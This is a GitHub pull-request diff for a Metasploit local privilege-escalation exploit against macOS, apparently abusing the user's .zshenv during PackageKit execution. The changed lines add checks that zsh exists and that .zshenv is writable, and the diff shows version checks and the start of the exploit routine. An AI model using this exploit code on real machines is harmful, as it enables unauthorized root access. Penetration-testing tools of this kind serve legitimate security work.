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Addresses comments from pull request #39

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Addresses comments from pull request #39

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1b89682
Addresses comments
eipoverflow Jul 1, 2026
d800565
Removes debug stuff
eipoverflow Jul 1, 2026
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7 changes: 6 additions & 1 deletion modules/exploits/osx/local/packagekit_zshenv_privesc.rb
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Original file line number Diff line number Diff line change
Expand Up @@ -81,7 +81,7 @@ def initialize(info = {})

def check
version = Rex::Version.new(get_system_version)

if version >= Rex::Version.new('14.5')
CheckCode::Safe("macOS #{version} is patched (fixed in 14.5)")
elsif version >= Rex::Version.new('14.0')
Expand All @@ -95,6 +95,9 @@ def check
elsif version >= Rex::Version.new('12.0')
CheckCode::Appears("macOS #{version} is vulnerable")
else
if version < Rex::Version.new("10.14")
return CheckCode::Detected("macOS #{version} detected, but zsh does not exists") unless executable?("/bin/zsh")
end
CheckCode::Appears("macOS #{version} (11 and older) is vulnerable")
end
end
Expand All @@ -106,6 +109,8 @@ def exploit
home_dir = create_process('printenv', args: ['HOME']).strip
fail_with(Failure::BadConfig, 'Unable to determine home directory') if home_dir.blank?
zshenv_path = "#{home_dir}/.zshenv"

fail_with(Failure::Unknown, "The .zshenv is not writable") if exist?(zshenv_path) && !writable?(zshenv_path)

# Preserve original .zshenv so we can restore it after root execution
original_zshenv = file?(zshenv_path) ? read_file(zshenv_path) : ''
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